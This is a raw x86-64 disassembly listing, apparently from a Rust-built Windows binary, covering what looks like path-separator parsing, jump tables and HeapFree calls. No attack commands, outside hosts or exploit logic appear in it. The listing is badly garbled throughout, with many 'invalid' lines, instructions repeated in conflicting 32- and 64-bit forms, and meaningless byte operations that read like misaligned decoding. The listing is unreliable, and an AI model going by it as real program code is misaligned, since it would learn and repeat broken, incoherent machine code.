add rax, r10
add eax, edx
add rax, 8
add eax, 8
ror byte [rax], 0x4c
or byte [rcx + rdi - 0x10], cl
cmp rax, r14
cmp eax, esi
je 0x1400db662
test byte [rsi - 2], dl
invalid
invalid
invalid
jmp case.0x1400db5fd.6
dec dword [rax - 0x73]
invalid
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
add byte [rax], al
add byte [rax - 0x77], cl
mov edx, esi
mov r8, r13
add byte [rax], al
mov rdx, rsi
mov edx, esi
mov r8, r13
call 0x13fd4560a
dec dword [rdi]
mov dh, 0x85
rol byte [rax], 0
add byte [rax], al
call fcn.1400d7ec0
invalid
movzx eax, byte [rbp + 0xc0]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0xd0]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rdx, qword [rbp + 0xe0]
xchg ebp, eax
loopne 0x1400db836
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r8d, al
ror byte [rbp + rcx*4 + 0xd], 9
fisttp word [rcx]
add byte [rdi + 0x63], cl
invalid
invalid
lea r9, [0x14017974c]
movsxd r10, dword [r9 + r8*4]
invalid
adc al, 0x81
add r10, r9
add edx, ecx
mov r8, r13
mov r9, rsi
int1
int1
jmp r10
jmp rdx
add rcx, 4
jmp 0x1400dba22
mov byte [rcx], 0
add byte [rax - 0x77], cl
test dword [rcx + rcx*4 - 0x12], 0xa705b60f
mov rsi, r13
invalid
mov dh, 5
cmpsd dword [rsi], dword [rdi]
mov rdi, rsi
mov rsi, r13
mov esi, ebp
movzx eax, byte [0x140182310]
push 0xa
add byte [rdx + 0xe0], bh
mov edx, 0xe0
mov edx, 0xe0
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400df910
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
test rax, rax
je 0x1400dbf9d
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r14, rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
mov qword [r14 + 0x30], rax
xor byte [rdi], r9b
xor byte [rdi], cl
movups xmm0, xmmword [rbp - 0x58]
adc byte [rbp - 0x58], al
movups xmm1, xmmword [rbp - 0x48]
movups xmm2, xmmword [rbp - 0x38]
movabs r8, 0x56110f41c855100f
and byte [rcx + 0xf], al
adc dword [rsi + 0x10], ecx
invalid
mov eax, 0xc855100f
movups xmmword [r14 + 0x20], xmm2
adc dword [rsi + 0x20], edx
movups xmmword [r14 + 0x10], xmm1
adc byte [rcx + 0xf], al
movups xmmword [r14], xmm0
adc dword [rsi], eax
mov qword [rbp + 0xa0], 4
test dword [rax + 0x4000000], esp
add byte [rax], al
add byte [rax], al
invalid
invalid
mov ch, 0xa8
invalid
add byte [rax], al
mov qword [rbp + 0xa8], r14
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test dword [rax + 0x1000000], esi
add byte [rax], al
add byte [rcx], al
invalid
add byte [rax], al
mov qword [rbp + 0xb0], 1
add byte [rax], al
add byte [rcx], al
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rbp - 0x20]
adc byte [rbp - 0x20], al
movups xmm1, xmmword [rbp - 0x10]
movups xmm2, xmmword [rbp]
movups xmm3, xmmword [rbp + 0x10]
adc byte [rbp + 0x10], bl
adc byte [rbp + 0x10], bl
adc byte [rdi], cl
sub dword [rbp + 0xf0], ebx
add byte [rax], al
invalid
movaps xmmword [rbp + 0xf0], xmm3
add byte [rdi], cl
sub dword [rbp + 0xe0], edx
invalid
movaps xmmword [rbp + 0xe0], xmm2
add byte [rdi], cl
sub dword [rbp + 0xd0], ecx
invalid
movaps xmmword [rbp + 0xd0], xmm1
add byte [rdi], cl
sub dword [rbp + 0xc0], eax
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0xc0], xmm0
add byte [rax], al
add byte [rax - 0x73], cl
push 0xffffffffc0958d48
invalid
xchg ebp, eax
rol byte [rax], 0
add byte [rax], al
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0xc0]
lea edx, [rbp + 0xc0]
lea edx, [rbp + 0xc0]
xchg ebp, eax
rol byte [rax], 0
add byte [rax], al
add al, ch
retf 0xffff
retf 0xffff
call fcn.1400d8360
cmp byte [rbp + 0x68], 0xa
retf 0xffff
je 0x1400db98a
add byte [rcx - 0x41], al
add dword [rax], eax
add byte [rax], al
invalid
mov r15d, 1
mov edi, 1
lea r13, [rbp + 0x68]
insd dword [rdi], dx
push 0xffffffffc0a58d4c
lea r12, [rbp + 0xc0]
invalid
invalid
invalid
lea r12, [rbp + 0xc0]
add byte [rax], al
nop word [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
cmp r15, qword [rbp + 0xa0]
jne case.0x1400d8b62.109
movabs al, byte [0x8d8d481675000000]
movabs al, byte [0xe8e8fa894c000000]
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov edx, edi
call fcn.140110620
add byte [rax], al
add byte [rbp + 0x16], dh
lea rcx, [rbp + 0xa0]
lea ecx, [rbp + 0xa0]
lea esp, [rax + 0x4c000000]
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov edx, edi
mov rdx, r15
mov edx, edi
call fcn.140110620
mov r14, qword [rbp + 0xa8]
add byte [rax], al
add byte [rcx + 0x6b], cl
invalid
invalid
invalid
imul rax, r15, 0x38
mov rcx, qword [rbp + 0x98]
cwde
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov qword [r14 + rax + 0x30], rcx
movups xmm0, xmmword [rbp + 0x68]
adc byte [rbp + 0x68], al
invalid
adc byte [rbp + 0x68], al
push 0x784d100f
movups xmm1, xmmword [rbp + 0x78]
adc byte [rbp + 0x78], cl
movups xmm2, xmmword [rbp + 0x88]
adc byte [rbp + 0x88], dl
xchg ebp, eax
mov byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0xf], al
movups xmmword [rsi + rax + 0x20], xmm2
add byte [rax], al
movups xmmword [r14 + rax + 0x20], xmm2
movups xmmword [rsi + rax + 0x20], xmm2
and byte [rcx + 0xf], al
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [rsi + rax + 0x10], xmm1
adc dword [rsi + rax + 0x10], ecx
invalid
adc byte [rcx + 0xf], al
adc dword [rsi + rax], eax
add al, 6
movups xmmword [r14 + rax], xmm0
add al, 6
inc r15
inc edi
mov qword [rbp + 0xb0], r15
mov ebp, 0xb0
add byte [rax], al
mov rcx, r13
mov rdx, r12
loop 0x1400db968
fmul st(1), st(0)
invalid
inc dword [rax + 0x750a687d]
jge 0x1400db9ef
or dh, byte [rbp - 0x6a]
jmp 0x128f042cc
loop 0x1400db968
fmul st(1), st(0)
invalid
jge 0x1400db9ef
push 0xf96750a
adc byte [rbp + 0xa0], al
invalid
invalid
add byte [rax], al
invalid
or dh, byte [rbp - 0x6a]
xchg esi, eax
movups xmm0, xmmword [rbp + 0xa0]
test dword [rax + 0xf000000], esp
add byte [rdi], cl
movaps xmmword [rbp + 0x110], xmm0
sub dword [rbp + 0x110], eax
test dword [rax], edx
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x120], rax
mov dword [rbp + 0x120], eax
test dword [rax + 0x48000000], esi
add byte [rax - 0x77], cl
mov dword [rbp + 0x120], eax
test dword [rax], esp
add dword [rax], eax
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx - 0x77], cl
mov r13, rsi
mov ebp, esi
cmc
mov rsi, rdi
mov byte [rbp + 0x12f], 0
add dword [rax], eax
add byte [rax], al
lea rcx, [rbp + 0x68]
mov rdx, rsi
mov edx, esi
push 0x4df28948
push 0x4df28948
mov r8, r13
mov eax, ebp
call fcn.1400d7ec0
movzx edx, byte [rbp + 0x68]
push rbp
push 0x784d8b48
inc ah
invalid
dec dword [rdi]
mov dh, 0x55
push rbp
push rbp
push 0x784d8b48
js case.0x1400db533.50
mov rax, qword [rbp + 0x88]
mov eax, dword [rbp + 0x88]
test dword [rax + 0x4c000000], ecx
mov byte [rax], al
add byte [rax], al
lea r8, [0x14017979c]
lea eax, [0x14017979c]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
add ecx, eax
invalid
add ecx, eax
mov rdx, rsi
mov edx, esi
jmp r9
loope 0x1400dba2e
add rcx, 4
add ecx, 4
add al, 0xe9
test byte [rax], 0
add byte [rax], al
jmp case.0x1400d8676.140
add byte [rax], al
add byte [rbp + rcx*4 + 0x42], cl
add dword [rax - 0x7b], ecx
test rdx, rdx
invalid
invalid
invalid
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
invalid
ret 0x14c
add rcx, r8
add rcx, 8
jmp 0x1400dba22
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
jmp 0x1400dba22
invalid
invalid
invalid
jmp 0x1400dba22
lea r8, [rdx + 1]
test rdx, rdx
test edx, edx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
test edx, edx
cmove r8, rdx
ret 0x14c
add rcx, r8
add ecx, eax
add rcx, 2
add ecx, 2
jmp 0x1400dba22
add eax, 0x2b9
add byte [rbp - 0x77], cl
mov eax, ebp
sub r8, rcx
invalid
invalid
mov ecx, 2
mov r8, r13
mov eax, ebp
sub r8, rcx
enter 0xffffffffffff820f, 0x48
add eax, 0x1480000
invalid
jb 0x1400dbf76
add rax, 0x1480000
add rcx, rsi
add ecx, esi
int1
mov r9, rcx
test r8, r8
je 0x1400dba47
invalid
invalid
movzx ecx, byte [r9]
cmp ecx, 0x2f
invalid
invalid
je case.0x140095d16.1065
or dword [rbx + 0x4745cf9], eax
cmp ecx, 0x5c
stc
pop rsp
je case.0x140095d16.1065
add al, 0x3c
add eax, 0x8d484273
invalid
invalid
cmp al, 5
jae case.default.0x1400dba81
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
invalid
mov rdx, r15
cli
mov r8, r14
call fcn.1400d7ec0
inc dword [rdi + rcx - 0x4a]
movzx r8d, byte [rbp + 0xc0]
mov rax, qword [rbp + 0xd0]
test eax, edx
rol byte [rax], 1
add byte [rax], al
mov dh, 0x85
rol byte [rax], 0
test eax, eax
add byte [rax], al
add byte [rax - 0x75], cl
test eax, edx
rol byte [rax], 1
add byte [rax], al
invalid
invalid
xchg ebp, eax
loopne 0x1400dba71
rol byte [rax], 1
add byte [rax], al
mov rdx, qword [rbp + 0xe0]
add byte [rax], al
lea rcx, [0x140179768]
lea ecx, [0x140179768]
or dword [rax], eax
add byte [rsi + 0x63], cl
movsxd r9, dword [rcx + r8*4]
invalid
or al, 0x81
add r9, rcx
jmp r9
lea rcx, [rax + 4]
jmp 0x1400dbeff
add byte [rax], al
add byte [rax], al
test r12b, r12b
in al, 0xf
test byte [rsi - 4], bh
je case.0x140096fc6.1034
invalid
lea rdx, [0x14014a348]
lea edx, [0x14014a348]
adc eax, 0x6e8ab
call 0xf84ebaa5
add dword [rax], eax
add byte [rax], al
mov r8d, 1
mov rcx, rbx
call fcn.1400dac20
jne 0x1400dba9a
invalid
invalid
jne 0x1400dba9a
invalid
jmp case.0x140096fc6.1034
cld
invalid
lea rdx, [rax + 1]
test rax, rax
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
invalid
invalid
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
jmp case.0x1400d8676.140
mov ecx, 6
jmp case.0x1400d8676.140
mov ecx, 6
invalid
add byte [rax], al
add byte [rax], al
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ch, bl
jmp case.0x1400d8676.140
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ch, bl
invalid
add ch, bl
add eax, 0x2b9
mov ecx, 2
add byte [rax], al
add byte [rcx + rdi - 0x17], cl
cmp rcx, r13
ja 0x1400dbf85
jne 0x1400dbaf3
xor eax, eax
jmp 0x1400dbb08
add rcx, rsi
mov rdx, rcx
mov edx, ecx
movzx eax, byte [rdx]
cmp al, 0x2f
add bh, byte [rdi + rbp]
sete cl
cmp al, 0x5c
sete al
or al, cl
invalid
enter 0xffffffffffff8b48, 0xffffffffffffff8d
mov byte [rax], al
add byte [rax], al
mov rcx, qword [rbp + 0x88]
lea ecx, [rax + 0x48000000]
mov dword [rbp + 0xf0], ecx
add byte [rax], al
invalid
mov qword [rbp + 0xf0], rcx
add byte [rax], al
add byte [rdi], cl
adc byte [rbp + 0x68], al
movups xmm0, xmmword [rbp + 0x68]
movups xmm1, xmmword [rbp + 0x78]
movups xmmword [rbp + 0xe0], xmm1
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0xd0], eax
add byte [rax], al
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xc0], rsi
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x53], cl
enter 0, 0
mov qword [rbp + 0xc8], r13
mov word [rbp + 0xf8], 0x200
add byte [rax], al
add byte [rax], al
add cl, byte [rax + 0xfa85]
mov byte [rbp + 0xfa], al
invalid
invalid
add byte [rax], al
add byte [rdx], al
mov byte [rbp + 0xfa], al
lea rsi, [rbp + 0x69]
jne 0x1400dbbb6
jne 0x1400dbbb6
lea rdi, [rbp + 0x68]
lea rbx, [rbp + 0xc0]
xor r15d, r15d
invalid
dec dword [rbp + rcx*4 - 0x4b]
adc byte [rcx], al
add dword [rax], eax
invalid
lea r14, [rbp + 0x110]
add dword [rax], eax
add bl, ch
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
jmp case.0x1400d7dc5.162
nop dword cs:[rax + rax]
nop dword [rax + rax]
invalid
mov rax, qword [rbp + 0x120]
add byte [rax - 0x75], cl
lea ebx, [rax]
mov rcx, qword [rbp + 0x118]
add dword [rax], eax
add byte [rax + 0x6b], cl
imul rdx, rax, 0x38
imul rdx, rax, 0x38
cmp byte [rax + rcx*4 + 0x24], al
mov byte [rcx + rdx], r12b
movups xmm0, xmmword [rsi]
adc dword [rdi], ecx
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmmword [rcx + rdx + 1], xmm0
add dword [rdi], ecx
adc dword [rcx + rdx + 0x11], ecx
add dword [rdi], ecx
adc dword [rcx + rdx + 0x11], ecx
movups xmmword [rcx + rdx + 0x21], xmm2
push rsp
adc dword [rcx], esp
mov r8, qword [rsi + 0x2f]
mov qword [rcx + rdx + 0x30], r8
inc rax
inc eax
inc eax
mov qword [rbp + 0x120], rax
test dword [rax], esp
add dword [rax], eax
invalid
add byte [rax], al
add dh, al
test dword [rdi], ebp
mov byte [rbp + 0x12f], 0
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rbx
call fcn.1400d8360
movzx r12d, byte [rbp + 0x68]
movzx esp, byte [rbp + 0x68]
push 0xafc8041
push 0xafc8041
or cl, byte [rdi]
je 0x1400dbc98
test ah, al
add byte [rax], al
add byte [rcx - 0x73], al
lea eax, [rsp - 6]
lea eax, [r12 - 6]
lea eax, [rsp - 6]
lea ecx, [r12 - 5]
and al, 0xfb
cmp al, 4
movzx eax, cl
cmovae eax, r15d
cmp al, 1
je 0x1400dbc30
movzx eax, al
cmp eax, 2
je case.0x1400d7dc5.162
cmp eax, 3
jne 0x1400dbc70
invalid
js case.0x1400d8676.139
mov rax, qword [rbp + 0x120]
test rax, rax
je case.0x1400d7dc5.162
scasd eax, dword [rdi]
mov rcx, qword [rbp + 0x118]
dec rax
imul rdx, rax, 0x38
cmp byte [rcx + rdx], 9
cmp al, 0x11
or dword [rbp - 0x65], esi
jne case.0x1400d7dc5.162
jne case.0x1400d7dc5.162
mov qword [rbp + 0x120], rax
add byte [rax], al
jmp case.0x1400d7dc5.162
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx], dh
xor eax, eax
cmp qword [rbp + 0x120], 0
cmp dword [rbp + 0x120], 0
mov ebp, 0x120
add byte [rdi], cl
xchg ebp, eax
ror byte [rax - 0x77], 0x85
mov qword [rbp + 0x120], rax
add dword [rax], eax
invalid
ror byte [rax - 0x7d], 0xbd
and byte [rcx], al
add byte [rax], al
mov ebp, 0x120
add byte [rdi], cl
xchg ebp, eax
ror byte [rax - 0x77], 0x85
mov qword [rbp + 0x120], rax
add dword [rax], eax
invalid
cmp qword [rbp + 0x110], rax
jne 0x1400dbb77
invalid
invalid
add dword [rax], eax
add byte [rdi], cl
test dword [rsi], esp
invalid
invalid
inc esi
test dword [rdi], ebp
add dword [rax], eax
add byte [rax], al
mov byte [rbp + 0x12f], 0
mov rcx, r14
mov ecx, esi
call fcn.1400d9680
jmp 0x1400dbb70
invalid
invalid
invalid
jmp qword [rsi + 0x66]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
test dword [rax], esp
add dword [rax], eax
mov rax, qword [rbp + 0x120]
mov eax, dword [rbp + 0x120]
add byte [rax + 0x3b], cl
test dword [rax], edx
add dword [rax], eax
add byte [rdi], cl
test ebx, esi
invalid
invalid
cmp rax, qword [rbp + 0x110]
jne 0x1400dbb77
invalid
invalid
invalid
invalid
invalid
inc esi
mov byte [rbp + 0x12f], 0
test dword [rdi], ebp
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
int1
call fcn.1400d9680
jmp 0x1400dbb70
invalid
invalid
invalid
mov qword [rbp + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
push r8
push rax
mov qword [rbp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
pop r8
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x58], 0
mov dword [rbp + 0x58], 0
mov byte [rbp + 0x60], 1
mov rax, qword [rbp + 0x110]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rbp + 0xb8], rax
test dword [rax + 0x48000000], edi
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x118]
mov eax, dword [rbp + 0x118]
test dword [rax], ebx
sbb byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax], ecx
add dword [rax], eax
mov qword [rbp + 0x108], rax
add byte [rax - 0x75], cl
test dword [rax], esp
add dword [rax], eax
mov rax, qword [rbp + 0x120]
add byte [rax - 0x7b], cl
test rax, rax
test eax, eax
ror byte [rdi], 0x84
invalid
je 0x1400dbe7a
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x6b], cl
invalid
imul rsi, rax, 0x38
imul esi, eax, 0x38
mov rbx, qword [rbp + 0x108]
add rsi, rbx
lea r12, [rbp + 0xc1]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
mov esp, 0x310009da
fimul dword [rcx]
add byte [rcx], dh
lea r14, [0x1401797b8]
fimul dword [rcx]
or dword [rax], eax
add byte [rcx], dh
xor eax, eax
jmp 0x1400dbd0f
shr bl, 0xf
xor eax, eax
add rbx, 0x38
cmp rbx, rsi
cmp ebx, esi
cmp ebx, esi
je 0x1400dbe7a
test byte [rbx + 1], ch
add byte [rax], al
movzx edi, byte [rbx]
mov dh, 0x3b
cmp eax, dword [rbx - 0x7bf0f501]
cmp edi, 0xa
je 0x1400dbe7a
test byte [rdi + 1], bl
add byte [rax], al
pop rdi
add dword [rax], eax
add byte [rax - 0x78], al
mov byte [rbp + 0xc0], dil
mov byte [rbp + 0xc0], dil
mov rcx, qword [rbx + 0x30]
mov ecx, dword [rbx + 0x30]
xor byte [rcx - 0x77], cl
and al, 0x2f
mov qword [r12 + 0x2f], rcx
movups xmm0, xmmword [rbx + 1]
adc byte [rbx + 1], al
movups xmm1, xmmword [rbx + 0x11]
movups xmm2, xmmword [rbx + 0x21]
adc dword [rdi], ecx
adc byte [rbx + 0x21], dl
movups xmmword [r12 + 0x20], xmm2
push rsp
and al, 0x20
movups xmmword [r12 + 0x10], xmm1
and al, 0x10
movups xmmword [r12], xmm0
add al, 0x24
and al, 0xa8
add dword [rbp + rbp + 0x48], esi
lea ecx, [rbp + 0xc0]
test al, 1
je 0x1400dbd79
lea rcx, [rbp + 0xc0]
lea rdx, [0x14014a488]
adc eax, 0x6e72e
add al, ch
loope 0x1400dbd26
call fcn.1400d8740
invalid
test al, al
jne 0x1400dbd79
invalid
invalid
mov r8d, 1
lea rcx, [rbp + 0x48]
lea rdx, [0x14014a348]
adc eax, 0x6e5d4
in eax, 6
add al, ch
call fcn.1400dac20
cmpsd dword [rsi], dword [rdi]
out dx, al
invalid
lea r13d, [rdi - 6]
lea ebp, [rdi - 6]
lea eax, [rdi - 5]
sti
sti
cmp r13b, 4
movzx eax, al
mov ecx, 0
cmovae eax, ecx
invalid
invalid
add byte [rax], al
add byte [rdi], cl
ror dword [r11 + r9*4 - 0x43], 0xd0
ror dword [rbx + rcx*4 - 0x43], 0xd0
mov r15, qword [rbp + 0xd0]
mov ebp, 0xd0
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
invalid
invalid
invalid
movzx r8d, al
movzx eax, al
ror byte [rbx + 0x63], 4
xchg byte [rcx + rax - 0x10], cl
add eax, esi
movsxd rax, dword [r14 + r8*4]
add rax, r14
add eax, esi
add eax, esi
jmp rax
mov rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
xchg ebp, eax
call 0x18c0dbdab
invalid
invalid
add byte [rbx + rcx*4 - 0x7b], cl
mov eax, dword [rbp + 0xf0]
lock add byte [rax], al
add bl, ch
invalid
jmp 0x1400dbdf0
cmp eax, 0xc8958b48
add byte [rax], al
mov edx, dword [rbp + 0xc8]
mov r8, r15
mov eax, edi
add byte [rbp - 0x77], cl
clc
mov eax, edi
jmp 0x1400dbdf0
add dword [rax], eax
add byte [rax], al
lea rdx, [0x14014a349]
lea edx, [0x14014a349]
lea edx, [0x14014a349]
adc eax, 0x6e57d
jge 0x1400dbdaf
jmp 0x1400dbdf0
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x140172854]
lea edx, [0x140172854]
jns 0x1400dbe43
or dword [rax], eax
jmp 0x1400dbdf0
lea rdx, [0x14014a348]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax], al
add byte [rax], al
lea rcx, [rbp + 0x48]
lea ecx, [rbp + 0x48]
call fcn.1400dac20
call fcn.1400dac20
call fcn.1400dac20
movzx ecx, r13b
inc rcx
cmp r13b, 4
mov eax, 0
add byte [rax], al
add byte [rax], al
cmovae rcx, rax
enter 0xffffffffffff8348, 0xfffffffffffffff9
add dword [rdi], ecx
invalid
test cl, ch
invalid
cmp rcx, 1
cmp ecx, 1
je case.0x1400dbe39.5
invalid
mov al, 1
test rcx, rcx
jne 0x1400dbd02
mov rax, qword [rbp + 0xe0]
mov eax, dword [rbp + 0xe0]
loopne 0x1400dbe27
add byte [rax], al
mov ecx, edi
stc
lea rdx, [0x1401797cc]
adc eax, 0x9d99a
add byte [rax + 0x63], cl
or al, 0x8a
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
sar edi, 1
loope case.0x1400d5dee.577
invalid
add r15, 4
add edi, 4
jmp 0x1400dbe6f
lea rcx, [rax + 1]
test rax, rax
test eax, eax
add qword [rax - 0x7b], rcx
test eax, eax
ror byte [rax + 0xf], 0x44
enter 0x149, 0xffffffffffffffcf
add edi, ecx
cmove rcx, rax
add r15, rcx
add edi, ecx
add edi, ecx
add r15, 8
jmp 0x1400dbe6f
invalid
sbb al, byte [rcx - 0x41]
invalid
mov r15d, 6
jmp 0x1400dbe6f
lea rcx, [rax + 1]
test rax, rax
test eax, eax
test eax, eax
ror byte [rax + 0xf], 0x44
enter 0x149, 0xffffffffffffffcf
add edi, ecx
cmove rcx, rax
add r15, rcx
add edi, ecx
add edi, ecx
add r15, 2
test r15, r15
test edi, edi
setne al
jmp 0x1400dbd02
mov dh, bh
invalid
invalid
mov dh, bh
invalid
invalid
cmp qword [rbp + 0xb8], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + rdx + 0x48], dh
je case.0x1400d5dee.570
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x108]
add byte [rax], al
ror byte [rbx + rcx*4 - 0x7b], cl
or byte [rcx], al
add byte [rax], al
add bh, bh
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x374c6
add byte [rax - 0x75], cl
mov rsi, qword [rbp + 0x30]
jne 0x1400dbece
xor byte [rax - 0x7d], cl
add byte ds:[rbx + rdx + 0x4c], dh
add byte [rbx + rdx + 0x4c], dh
cmp qword [rsi], 0
je 0x1400dbeb7
add byte [rbx + rdx + 0x4c], dh
mov r8, qword [rsi + 8]
mov eax, dword [rsi + 8]
or byte [rax - 0x75], cl
or eax, 0xa63b1
invalid
mov rcx, qword [0x140182260]
add byte [rcx], dh
xor edx, edx
sar bh, cl
adc eax, 0x374a9
add eax, dword [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add byte [rdi], cl
movups xmm0, xmmword [rbp + 0x48]
adc byte [rbp + 0x48], al
movups xmm1, xmmword [rbp + 0x58]
movups xmm1, xmmword [rbp + 0x58]
pop r8
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], cl
movups xmmword [rsi], xmm0
adc dword [rsi], eax
jmp case.0x140096fc6.1014
dec dword [rax - 0x73]
lea rcx, [rdx + 1]
lea ecx, [rdx + 1]
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
test rdx, rdx
ror byte [rax + 0xf], cl
cmove rcx, rdx
add rcx, rax
retf 0x148
add rcx, 2
jmp 0x1400dbeff
invalid
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
add bl, ch
jmp 0x1400dbeff
sbb dword [rax - 0x73], ecx
lea rcx, [rdx + 1]
lea ecx, [rdx + 1]
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
test rdx, rdx
cmove rcx, rdx
cmove ecx, edx
ror byte [rax + 0xf], cl
retf 0x148
cmove ecx, edx
add rcx, rax
add rcx, 8
add ecx, 8
add ecx, 8
jmp 0x1400dbeff
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
int1
add byte [rax], al
cmp rcx, r14
int1
ja case.default.0x1400dbf15
mov ecx, r8d
mov ecx, eax
lea r8, [0x140179784]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
add rax, 4
add eax, 4
rol byte [rbx + rbp*8], 0x38
jmp 0x1400dbf55
xor eax, eax
jmp 0x1400dbf5e
invalid
cmp eax, 0x14a8d48
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 2
jmp 0x1400dbf55
invalid
and byte [rax + 6], bh
mov eax, 6
invalid
jmp 0x1400dbf55
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 8
jmp 0x1400dbf55
mov eax, 2
add byte [rax], al
add byte [rcx + 0x39], cl
cmp r14, rax
invalid
jb case.0x140096fc6.1034
mov qword [rbx + 0x10], rax
jmp case.0x140096fc6.1034
lea r8, str.library_std_srcpath.rs
jrcxz case.0x1400d745f.179
invalid
add byte [rcx + rcx*4 - 0xe], cl
mov rdx, r14
call fcn.1401085a0
mov byte [rdx], 0
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.1401085a0
mov byte [rdx], 0
mov byte [rdx], 0
mov byte [rbp + 0x12f], 0
invalid
add dword [rax], eax
add byte [rax], al
lea r8, str.library_std_srcpath.rs
add eax, 0x6e39d
popfq
jrcxz 0x1400dbf98
add byte [rcx + rcx*4 - 0x16], cl
mov rdx, r13
call fcn.1401085a0
mov byte [rdx], 0
ud2
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0xe0
loopne 0x1400dbfa5
add byte [rax], al
add al, ch
hlt
add byte [rax], al
call fcn.1401082a0
int3
ret 2
add ah, cl
nop dword [rax]
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x7d], cl
mov ebp, 0xb8
invalid
je 0x1400dbfec
add byte [rax], al
add byte [rax - 0x7d], cl
mov ebp, 0xb8
add byte [rsi + rdx + 0x48], dh
mov rcx, qword [0x140182260]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x48], 0
je 0x1400dc006
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
je case.0x1400d8e64.117
mov eax, dword [rbp + 0xa8]
